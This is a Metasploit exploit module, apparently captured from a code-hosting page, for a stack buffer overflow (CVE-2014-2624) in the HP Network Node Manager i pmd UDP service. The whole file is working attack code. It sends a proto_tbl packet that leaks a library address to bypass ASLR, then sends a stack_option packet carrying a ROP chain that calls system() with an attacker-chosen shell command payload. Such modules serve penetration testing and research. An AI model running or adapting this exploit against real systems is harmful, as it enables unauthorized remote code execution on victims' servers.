Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/misc/hp_nnmi_pmd_bof.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Udp910def initialize(info = {})11super(update_info(info,12'Name' => 'HP Network Node Manager I PMD Buffer Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in HP Network Node Manager I (NNMi). The15vulnerability exists in the pmd service, due to the insecure usage of functions like16strcpy and strcat while handling stack_option packets with user controlled data. In17order to bypass ASLR this module uses a proto_tbl packet to leak an libov pointer from18the stack and finally build the ROP chain to avoid NX.19},20'Author' =>21[22'd(-_-)b', # Vulnerability discovery23'juan vazquez' # Metasploit module24],25'References' =>26[27['CVE', '2014-2624'],28['ZDI', '14-305']29],30'Payload' =>31{32'BadChars' => "\x00",33'Space' => 3000,34'DisableNops' => true,35'Compat' =>36{37'PayloadType' => 'cmd cmd_bash',38'RequiredCmd' => 'generic python perl openssl bash-tcp gawk'39}40},41'Arch' => ARCH_CMD,42'Platform' => 'unix',43'Targets' =>44[45['Automatic', {}],46['HP NNMi 9.10 / CentOS 5',47{48# ptr to .rodata with format specifier49#.rodata:0003BE86 aS_1 db '%s',050'ov_offset' => 0x3BE86,51:rop => :rop_hp_nnmi_9_1052}53],54['HP NNMi 9.20 / CentOS 6',55{56# ptr to .rodata with format specifier57#.rodata:0003C2D6 aS_1 db '%s',058'ov_offset' => 0x3c2d8,59:rop => :rop_hp_nnmi_9_2060}61]62],63'Privileged' => false, # true for HP NNMi 9.10, false for HP NNMi 9.2064'DisclosureDate' => '2014-09-09',65'DefaultTarget' => 066))6768register_options([ Opt::RPORT(7426) ])69end7071def check72header = [730x2a5, # pmdmgr_init pkt740x3cc, # signature750xa0c, # signature760xca8 # signature77].pack("V")7879data = "\x00" * (0xfa4 - header.length)8081pkt = header + data8283connect_udp84udp_sock.put(pkt)85res = udp_sock.timed_read(8, 1)86if res.blank?87# To mitigate MacOSX udp sockets behavior88udp_sock.put(pkt)89res = udp_sock.timed_read(8)90end91disconnect_udp9293if res.blank?94return Exploit::CheckCode::Unknown95elsif res.length == 8 && res.unpack("V").first == 0x2a596return Exploit::CheckCode::Detected97else98return Exploit::CheckCode::Unknown99end100end101102def exploit103connect_udp104# info leak with a "proto_tbl" packet105print_status("Sending a 'proto_tbl' request...")106udp_sock.put(proto_tbl_pkt)107108res = udp_sock.timed_read(13964, 1)109if res.blank?110# To mitigate MacOSX udp sockets behavior111udp_sock.put(proto_tbl_pkt)112res = udp_sock.timed_read(13964)113end114115if res.blank?116fail_with(Failure::Unknown, "Unable to get a 'proto_tbl' response...")117end118119if target.name == 'Automatic'120print_status("Fingerprinting target...")121my_target = auto_target(res)122fail_with(Failure::NoTarget, "Unable to autodetect target...") if my_target.nil?123else124my_target = target125fail_with(Failure::Unknown, "Unable to leak libov base address...") unless find_ov_base(my_target, res)126end127128print_good("Exploiting #{my_target.name} with libov base address at 0x#{@ov_base.to_s(16)}...")129130# exploit with a "stack_option_pkt" packet131udp_sock.put(stack_option_pkt(my_target, @ov_base))132133disconnect_udp134end135136def rop_hp_nnmi_9_10(ov_base)137rop = rand_text_alpha(775)138rop << [0x808d7c1].pack("V") # pop ebx ; pop ebp ; ret139rop << [ov_base + 0x481A8].pack("V") # ebx: libov .got140rop << [0x8096540].pack("V") # ptr to .data where user controlled string will be stored:141# "PMD Stack option specified, but stack not available (user_controlled)"142rop << [0x808d7c2].pack("V") # pop ebp # ret143rop << [0x08096540 + 4732].pack("V") # ebp: ptr to our controlled data in .data (+0x1028 to compensate)144rop << [ov_base + 0x1D692].pack("V") # ptr to 'call _system' sequence:145#.text:0001D692 lea eax, [ebp+dest]146#.text:0001D698 push eax ; command147#.text:0001D699 call _system148rop149end150151def rop_hp_nnmi_9_20(ov_base)152rop = rand_text_alpha(775)153rop << [0x808dd70].pack("V") # pop eax ; pop ebx ; pop ebp ; ret154rop << [0xf7f61cd0 + ov_base + 0x1dae6].pack("V") # eax: ptr to 'call _system' sequence155#.text:0001DAE6 lea eax, [ebp+dest] (dest = -0x1028)156#.text:0001DAEC push eax ; command157#.text:0001DAED call _system158rop << [0x08097160].pack("V") # ebx: ptr to .data where user controlled string will be stored:159# "PMD Stack option specified, but stack not available (user_controlled)"160rop << rand_text_alpha(4) # ebp: padding161rop << [0x804fb86].pack("V") # add eax 0x809e330 ; add ecx ecx ; ret (control eax)162rop << [0x8049ac4].pack("V") # xchg eax, edi ; ret163rop << [0x808dd70].pack("V") # pop eax ; pop ebx ; pop ebp ; ret164rop << [0xf7f61cd0 + ov_base + 0x47f1c].pack("V") # eax: libov .got base165rop << rand_text_alpha(4) # ebx: padding166rop << [0x8097160 + 4764].pack("V") # ebp: ptr to our controlled data in .data (+0x1028 to compensate)167rop << [0x804fb86].pack("V") # add eax 0x809e330 ; add ecx ecx ; ret (control eax)168rop << [0x805a58d].pack("V") # xchg ebx eax ; and eax 0xc4830001 ; and cl cl ; ret (ebx: libov .got)169rop << [0x8049ac4].pack("V") # xchg eax, edi ; ret ; (eax: call to system sequence from libov)170rop << [0x80528BC].pack("V") # jmp eax171172rop173end174175def stack_option_pkt(t, ov_base)176hdr = [0x2a9].pack("V") # stack_option packet177data = "-SA" # stack name (invalid one 'A')178data << ";" # separator179data << self.send(t[:rop], ov_base) # malformed stack options180data << payload.encoded181data << ";\n"182data << "\x00" * (0xfa4 - data.length - hdr.length)183184hdr + data185end186187def proto_tbl_pkt188hdr = [0x2aa].pack("V") # proto_tbl packet189data = "\x00" * (0xfa4 - hdr.length)190191hdr + data192end193194def base(address, offset)195address - offset196end197198def find_ov_base(t, data)199print_status("Searching #{t.name} pointers...")200i = 0201data.unpack("V*").each do |int|202if base(int, t['ov_offset']) % 0x1000 == 0203print_status("Pointer 0x#{int.to_s(16)} found at offset #{i * 4}")204@ov_base = base(int, t['ov_offset'])205return true206end207i = i + 1208end209210false211end212213def auto_target(data)214targets.each do |t|215next if t.name == 'Automatic'216if find_ov_base(t, data)217return t218end219end220221nil222end223end224225226